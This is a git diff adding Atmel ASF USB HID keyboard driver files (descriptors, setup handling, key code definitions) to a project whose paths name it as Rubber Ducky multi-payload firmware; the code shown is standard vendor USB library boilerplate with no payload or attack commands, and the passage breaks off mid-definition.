UDI_HID_KBD_IFACE_NUMBER,\ + .iface.bAlternateSetting = 0,\ + .iface.bNumEndpoints = 1,\ + .iface.bInterfaceClass = HID_CLASS,\ + .iface.bInterfaceSubClass = HID_SUB_CLASS_NOBOOT,\ + .iface.bInterfaceProtocol = HID_PROTOCOL_KEYBOARD,\ + .iface.iInterface = UDI_HID_KBD_STRING_ID,\ + .hid.bLength = sizeof(usb_hid_descriptor_t),\ + .hid.bDescriptorType = USB_DT_HID,\ + .hid.bcdHID = LE16(USB_HID_BDC_V1_11),\ + .hid.bCountryCode = USB_HID_NO_COUNTRY_CODE,\ + .hid.bNumDescriptors = USB_HID_NUM_DESC,\ + .hid.bRDescriptorType = USB_DT_HID_REPORT,\ + .hid.wDescriptorLength = LE16(sizeof(udi_hid_kbd_report_desc_t)),\ + .ep.bLength = sizeof(usb_ep_desc_t),\ + .ep.bDescriptorType = USB_DT_ENDPOINT,\ + .ep.bEndpointAddress = UDI_HID_KBD_EP_IN,\ + .ep.bmAttributes = USB_EP_TYPE_INTERRUPT,\ + .ep.wMaxPacketSize = LE16(UDI_HID_KBD_EP_SIZE),\ + .ep.bInterval = 2,\ + } +//@} + + + +/** + * \name Interface for application + * + * These routines are used by application to send keyboard events + */ +//@{ + +/** + * \brief Send events key modifier released + * + * \param modifier_id ID of key modifier + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_modifier_up(uint8_t modifier_id); + +/** + * \brief Send events key modifier pressed + * + * \param modifier_id ID of key modifier + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_modifier_down(uint8_t modifier_id); + + +/** + * \brief Send events key modifier released + * + * \param key_id ID of key + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_kbd_up(uint8_t key_id); + +/** + * \brief Send events key modifier pressed + * + * \param key_id ID of key + * + */ +bool udi_hid_kbd_down(uint8_t key_id); +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_HID_KBD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h new file mode 100644 index 0000000..0b60b19 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h @@ -0,0 +1,72 @@ +/** + * \file + * + * \brief Default HID keyboard configuration for a USB Device + * with a single interface HID keyboard + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_HID_KBD_CONF_H_ +#define _UDI_HID_KBD_CONF_H_ + +/** + * \ingroup udi_hid_keyboard_group + * \defgroup udi_hid_keyboard_group_conf Default HID keyboard configuration + * for a USB Device with a single interface HID + * + * @{ + */ + +//! Control endpoint size +#define USB_DEVICE_EP_CTRL_SIZE 8 + +//! Endpoint number used by HID keyboard interface +#define UDI_HID_KBD_EP_IN (1 | USB_EP_DIR_IN) + +//! Interface number +#define UDI_HID_KBD_IFACE_NUMBER 0 + +/** + * \name UDD Configuration + */ +//@{ +//! 1 endpoint used by HID keyboard standard interface +#define USB_DEVICE_MAX_EP 1 +//@} + +//@} + +#include "udi_hid_kbd.h" + +#endif // _UDI_HID_KBD_CONF_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c new file mode 100644 index 0000000..05f455c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c @@ -0,0 +1,158 @@ +/** + * \file + * + * \brief Default descriptors for a USB Device + * with a single interface HID keyboard + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi_hid.h" +#include "udi_hid_kbd.h" + +/** + * \ingroup udi_hid_keyboard_group + * \defgroup udi_hid_keyboard_group_desc Default descriptors for a USB Device + * with a single interface HID keyboard + * + * @{ + */ + +//! Only one interface for this device +#define USB_DEVICE_NB_INTERFACE 1 + +/**INDENT-OFF**/ +//! USB Device Descriptor +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE usb_dev_desc_t udc_device_desc = { + .bLength = sizeof(usb_dev_desc_t), + .bDescriptorType = USB_DT_DEVICE, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .idVendor = LE16(USB_DEVICE_VENDOR_ID), + .idProduct = LE16(USB_DEVICE_PRODUCT_ID), + .bcdDevice = LE16((USB_DEVICE_MAJOR_VERSION << 8) + | USB_DEVICE_MINOR_VERSION), +#ifdef USB_DEVICE_MANUFACTURE_NAME + .iManufacturer = 1, +#else + .iManufacturer = 0, // No manufacture string +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + .iProduct = 2, +#else + .iProduct = 0, // No product string +#endif +#ifdef USB_DEVICE_SERIAL_NAME + .iSerialNumber = 3, +#else + .iSerialNumber = 0, // No serial string +#endif + .bNumConfigurations = 1 +}; + + +#ifdef USB_DEVICE_HS_SUPPORT +//! USB Device Qualifier Descriptor for HS +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE usb_dev_qual_desc_t udc_device_qual = { + .bLength = sizeof(usb_dev_qual_desc_t), + .bDescriptorType = USB_DT_DEVICE_QUALIFIER, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .bNumConfigurations = 1 +}; +#endif + +//! Structure for USB Device Configuration Descriptor +COMPILER_PACK_SET(1); +typedef struct { + usb_conf_desc_t conf; + udi_hid_kbd_desc_t hid_kbd; +} udc_desc_t; +COMPILER_PACK_RESET(); + +//! USB Device Configuration Descriptor filled for FS and HS +COMPILER_WORD_ALIGNED +UDC_DESC_STORAGE udc_desc_t udc_desc = { + .conf.bLength = sizeof(usb_conf_desc_t), + .conf.bDescriptorType = USB_DT_CONFIGURATION, + .conf.wTotalLength = LE16(sizeof(udc_desc_t)), + .conf.bNumInterfaces = USB_DEVICE_NB_INTERFACE, + .conf.bConfigurationValue = 1, + .conf.iConfiguration = 0, + .conf.bmAttributes = USB_CONFIG_ATTR_MUST_SET | USB_DEVICE_ATTR, + .conf.bMaxPower = USB_CONFIG_MAX_POWER(USB_DEVICE_POWER), + .hid_kbd = UDI_HID_KBD_DESC, +}; + + +/** + * \name UDC structures which contains all USB Device definitions + */ +//@{ + +//! Associate an UDI for each USB interface +UDC_DESC_STORAGE udi_api_t *udi_apis[USB_DEVICE_NB_INTERFACE] = { + &udi_api_hid_kbd, +}; + +//! Add UDI with USB Descriptors FS & HS +UDC_DESC_STORAGE udc_config_speed_t udc_config_fshs[1] = {{ + .desc = (usb_conf_desc_t UDC_DESC_STORAGE*)&udc_desc, + .udi_apis = udi_apis, +}}; + +//! Add all information about USB Device in global structure for UDC +UDC_DESC_STORAGE udc_config_t udc_config = { + .confdev_lsfs = &udc_device_desc, + .conf_lsfs = udc_config_fshs, +#ifdef USB_DEVICE_HS_SUPPORT + .confdev_hs = &udc_device_desc, + .qualifier = &udc_device_qual, + .conf_hs = udc_config_fshs, +#endif +}; + +//@} +/**INDENT-ON**/ +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/udi_hid.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/udi_hid.c new file mode 100644 index 0000000..0f62e11 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/udi_hid.c @@ -0,0 +1,162 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc.h" +#include "udi_hid.h" + + +/** + * \addtogroup udi_hid_group + * @{ + */ + +/** + * \name Internal routines + */ +//@{ + +/** + * \brief Send the specific descriptors requested by SETUP request + * + * \retval true if the descriptor is supported + */ +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc); + +//@} + +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ) +{ + if (Udd_setup_is_in()) { + // Requests Interface GET + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + // Requests Standard Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_GET_DESCRIPTOR: + return udi_hid_reqstdifaceget_descriptor(report_desc); + } + } + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Get + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_HID_GET_REPORT: + // TODO + break; + + case USB_REQ_HID_GET_IDLE: + udd_g_ctrlreq.payload = rate; + udd_g_ctrlreq.payload_size = 1; + return true; + + case USB_REQ_HID_GET_PROTOCOL: + udd_g_ctrlreq.payload = protocol; + udd_g_ctrlreq.payload_size = 1; + return true; + } + } + } + if (Udd_setup_is_out()) { + // Requests Interface SET + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { + // Requests Class Interface Set + switch (udd_g_ctrlreq.req.bRequest) { + + case USB_REQ_HID_SET_REPORT: + return set_report(); + + case USB_REQ_HID_SET_IDLE: + *rate = udd_g_ctrlreq.req.wValue >> 8; + return true; + + case USB_REQ_HID_SET_PROTOCOL: + if (0 != udd_g_ctrlreq.req.wLength) + return false; + *protocol = udd_g_ctrlreq.req.wValue; + return true; + } + } + } + return false; // Request not supported +} + + +//--------------------------------------------- +//------- Internal routines + +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc) +{ + usb_hid_descriptor_t UDC_DESC_STORAGE *ptr_hid_desc; + + // Get the USB descriptor which is located after the interface descriptor + // This descriptor must be the HID descriptor + ptr_hid_desc = (usb_hid_descriptor_t UDC_DESC_STORAGE *) ((uint8_t *) + udc_get_interface_desc() + sizeof(usb_iface_desc_t)); + if (USB_DT_HID != ptr_hid_desc->bDescriptorType) + return false; + + // The SETUP request can ask for: + // - an USB_DT_HID descriptor + // - or USB_DT_HID_REPORT descriptor + // - or USB_DT_HID_PHYSICAL descriptor + if (USB_DT_HID == (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // USB_DT_HID descriptor requested then send it + udd_g_ctrlreq.payload = (uint8_t *) ptr_hid_desc; + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, + ptr_hid_desc->bLength); + return true; + } + // The HID_X descriptor requested must correspond to report type + // included in the HID descriptor + if (ptr_hid_desc->bRDescriptorType == + (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // Send HID Report descriptor given by high level + udd_g_ctrlreq.payload = report_desc; + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, + le16_to_cpu(ptr_hid_desc->wDescriptorLength)); + return true; + } + return false; +} + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/udi_hid.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/udi_hid.h new file mode 100644 index 0000000..c2d6d9c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/udi_hid.h @@ -0,0 +1,82 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) interface definitions. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_HID_H_ +#define _UDI_HID_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "usb_protocol_hid.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udi_group + * \defgroup udi_hid_group UDI for Human Interface Device Class + * + * @{ + */ + +/** + * \name Interface for application + */ +//@{ + +/** + * \brief Decode HID setup request + * + * \param rate Pointer on rate of current HID interface + * \param protocol Pointer on protocol of current HID interface + * \param report_desc Pointer on report descriptor of current HID interface + * \param set_report Pointer on set_report callback of current HID interface + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_HID_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/usb_protocol_hid.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/usb_protocol_hid.h new file mode 100644 index 0000000..9e9a0cc --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/usb_protocol_hid.h @@ -0,0 +1,333 @@ +/** + * \file + * + * \brief USB Human Interface Device (HID) protocol definitions. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_PROTOCOL_HID_H_ +#define _USB_PROTOCOL_HID_H_ + +/** + * \ingroup usb_protocol_group + * \defgroup usb_hid_protocol USB Human Interface Device (HID) + * protocol definitions + * \brief USB Human Interface Device (HID) protocol definitions + * + * @{ + */ + +/** + * \name Possible Class value + */ +//@{ +#define HID_CLASS 0x03 +//@} + +/** + * \name Possible SubClass value + */ +//@{ +//! Interface subclass NO support BOOT protocol +#define HID_SUB_CLASS_NOBOOT 0x00 +//! Interface subclass support BOOT protocol +#define HID_SUB_CLASS_BOOT 0x01 +//@} + +/** + * \name Possible protocol value + */ +//@{ +//! Protocol generic standard +#define HID_PROTOCOL_GENERIC 0x00 +//! Protocol keyboard standard +#define HID_PROTOCOL_KEYBOARD 0x01 +//! Protocol mouse standard +#define HID_PROTOCOL_MOUSE 0x02 +//@} + + +/** + * \brief Hid USB requests (bRequest) + */ +enum usb_reqid_hid { + USB_REQ_HID_GET_REPORT = 0x01, + USB_REQ_HID_GET_IDLE = 0x02, + USB_REQ_HID_GET_PROTOCOL = 0x03, + USB_REQ_HID_SET_REPORT = 0x09, + USB_REQ_HID_SET_IDLE = 0x0A, + USB_REQ_HID_SET_PROTOCOL = 0x0B, +}; + +/** + * \brief HID USB descriptor types + */ +enum usb_descriptor_type_hid { + USB_DT_HID = 0x21, + USB_DT_HID_REPORT = 0x22, + USB_DT_HID_PHYSICAL = 0x23, +}; + +/** + * \brief HID Type for report descriptor + */ +enum usb_hid_item_report_type { + USB_HID_ITEM_REPORT_TYPE_MAIN = 0, + USB_HID_ITEM_REPORT_TYPE_GLOBAL = 1, + USB_HID_ITEM_REPORT_TYPE_LOCAL = 2, + USB_HID_ITEM_REPORT_TYPE_LONG = 3, +}; + + +/** + * \brief HID report type + */ +enum usb_hid_report_type { + USB_HID_REPORT_TYPE_INPUT = 1, + USB_HID_REPORT_TYPE_OUTPUT = 2, + USB_HID_REPORT_TYPE_FEATURE = 3, +}; + + +/** + * \brief HID protocol + */ +enum usb_hid_protocol { + USB_HID_PROCOTOL_BOOT = 0, + USB_HID_PROCOTOL_REPORT = 1, +}; + +COMPILER_PACK_SET(1); + +/** + * \brief HID Descriptor + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< HID descriptor type + le16_t bcdHID; //!< Binay Coded Decimal Spec. release + uint8_t bCountryCode; //!< Hardware target country + uint8_t bNumDescriptors; //!< Number of HID class descriptors to follow + uint8_t bRDescriptorType; //!< Report descriptor type + le16_t wDescriptorLength; //!< Total length of Report descriptor +} usb_hid_descriptor_t; + + //! \name Structure for report item + //! @{ + +COMPILER_PACK_RESET(); + + //! \name HID Report type + //! Used by SETUP_HID_GET_REPORT & SETUP_HID_SET_REPORT + //! @{ +#define REPORT_TYPE_INPUT 0x01 +#define REPORT_TYPE_OUTPUT 0x02 +#define REPORT_TYPE_FEATURE 0x03 + //! @} + + //! \name Constants of field DESCRIPTOR_HID + //! @{ +//! Numeric expression identifying the HID Class +//! Specification release (here V1.11) +#define USB_HID_BDC_V1_11 0x0111 +//! Numeric expression specifying the number of class descriptors +//! Note: Always at least one i.e. Report descriptor. +#define USB_HID_NUM_DESC 0x01 + + //! \name Country code + //! @{ +#define USB_HID_NO_COUNTRY_CODE 0 // Not Supported +#define USB_HID_COUNTRY_ARABIC 1 // Arabic +#define USB_HID_COUNTRY_BELGIAN 2 // Belgian +#define USB_HID_COUNTRY_CANADIAN_BILINGUAL 3 // Canadian-Bilingual +#define USB_HID_COUNTRY_CANADIAN_FRENCH 4 // Canadian-French +#define USB_HID_COUNTRY_CZECH_REPUBLIC 5 // Czech Republic +#define USB_HID_COUNTRY_DANISH 6 // Danish +#define USB_HID_COUNTRY_FINNISH 7 // Finnish +#define USB_HID_COUNTRY_FRENCH 8 // French +#define USB_HID_COUNTRY_GERMAN 9 // German +#define USB_HID_COUNTRY_GREEK 10 // Greek +#define USB_HID_COUNTRY_HEBREW 11 // Hebrew +#define USB_HID_COUNTRY_HUNGARY 12 // Hungary +#define USB_HID_COUNTRY_INTERNATIONAL_ISO 13 // International (ISO) +#define USB_HID_COUNTRY_ITALIAN 14 // Italian +#define USB_HID_COUNTRY_JAPAN_KATAKANA 15 // Japan (Katakana) +#define USB_HID_COUNTRY_KOREAN 16 // Korean +#define USB_HID_COUNTRY_LATIN_AMERICAN 17 // Latin American +#define USB_HID_COUNTRY_NETHERLANDS_DUTCH 18 // Netherlands/Dutch +#define USB_HID_COUNTRY_NORWEGIAN 19 // Norwegian +#define USB_HID_COUNTRY_PERSIAN_FARSI 20 // Persian (Farsi) +#define USB_HID_COUNTRY_POLAND 21 // Poland +#define USB_HID_COUNTRY_PORTUGUESE 22 // Portuguese +#define USB_HID_COUNTRY_RUSSIA 23 // Russia +#define USB_HID_COUNTRY_SLOVAKIA 24 // Slovakia +#define USB_HID_COUNTRY_SPANISH 25 // Spanish +#define USB_HID_COUNTRY_SWEDISH 26 // Swedish +#define USB_HID_COUNTRY_SWISS_FRENCH 27 // Swiss/French +#define USB_HID_COUNTRY_SWISS_GERMAN 28 // Swiss/German +#define USB_HID_COUNTRY_SWITZERLAND 29 // Switzerland +#define USB_HID_COUNTRY_TAIWAN 30 // Taiwan +#define USB_HID_COUNTRY_TURKISH_Q 31 // Turkish-Q +#define USB_HID_COUNTRY_UK 32 // UK +#define USB_HID_COUNTRY_US 33 // US +#define USB_HID_COUNTRY_YUGOSLAVIA 34 // Yugoslavia +#define USB_HID_COUNTRY_TURKISH_F 35 // Turkish-F + //! @} + //! @} +//! @} + + +//! \name HID KEYS values +//! @{ +#define HID_A 0x04 +#define HID_B 0x05 +#define HID_C 0x06 +#define HID_D 0x07 +#define HID_E 0x08 +#define HID_F 0x09 +#define HID_G 0x0A +#define HID_H 0x0B +#define HID_I 0x0C +#define HID_J 0x0D +#define HID_K 0x0E +#define HID_L 0x0F +#define HID_M 0x10 +#define HID_N 0x11 +#define HID_O 0x12 +#define HID_P 0x13 +#define HID_Q 0x14 +#define HID_R 0x15 +#define HID_S 0x16 +#define HID_T 0x17 +#define HID_U 0x18 +#define HID_V 0x19 +#define HID_W 0x1A +#define HID_X 0x1B +#define HID_Y 0x1C +#define HID_Z 0x1D +#define HID_1 30 +#define HID_2 31 +#define HID_3 32 +#define HID_4 33 +#define HID_5 34 +#define HID_6 35 +#define HID_7 36 +#define HID_8 37 +#define HID_9 38 +#define HID_0 39 +#define HID_ENTER 40 +#define HID_ESCAPE 41 +#define HID_BACKSPACE 42 +#define HID_TAB 43 +#define HID_SPACEBAR 44 +#define HID_UNDERSCORE 45 +#define HID_PLUS 46 +#define HID_OPEN_BRACKET 47 // { +#define HID_CLOSE_BRACKET 48 // } +#define HID_BACKSLASH 49 +#define HID_ASH 50 // # ~ +#define HID_COLON 51 // ; : +#define HID_QUOTE 52 // ' " +#define HID_TILDE 53 +#define HID_COMMA 54 +#define HID_DOT 55 +#define HID_SLASH 56 +#define HID_CAPS_LOCK 57 +#define HID_F1 58 +#define HID_F2 59 +#define HID_F3 60 +#define HID_F4 61 +#define HID_F5 62 +#define HID_F6 63 +#define HID_F7 64 +#define HID_F8 65 +#define HID_F9 66 +#define HID_F10 67 +#define HID_F11 68 +#define HID_F12 69 +#define HID_PRINTSCREEN 70 +#define HID_SCROLL_LOCK 71 +#define HID_PAUSE 72 +#define HID_INSERT 73 +#define HID_HOME 74 +#define HID_PAGEUP 75 +#define HID_DELETE 76 +#define HID_END 77 +#define HID_PAGEDOWN 78 +#define HID_RIGHT 79 +#define HID_LEFT 80 +#define HID_DOWN 81 +#define HID_UP 82 +#define HID_KEYPAD_NUM_LOCK 83 +#define HID_KEYPAD_DIVIDE 84 +#define HID_KEYPAD_AT 85 +#define HID_KEYPAD_MULTIPLY 85 +#define HID_KEYPAD_MINUS 86 +#define HID_KEYPAD_PLUS 87 +#define HID_KEYPAD_ENTER 88 +#define HID_KEYPAD_1 89 +#define HID_KEYPAD_2 90 +#define HID_KEYPAD_3 91 +#define HID_KEYPAD_4 92 +#define HID_KEYPAD_5 93 +#define HID_KEYPAD_6 94 +#define HID_KEYPAD_7 95 +#define HID_KEYPAD_8 96 +#define HID_KEYPAD_9 97 +#define HID_KEYPAD_0 98 + + //! \name HID modifier values + //! @{ +#define HID_MODIFIER_NONE 0x00 +#define HID_MODIFIER_LEFT_CTRL 0x01 +#define HID_MODIFIER_LEFT_SHIFT 0x02 +#define HID_MODIFIER_LEFT_ALT 0x04 +#define 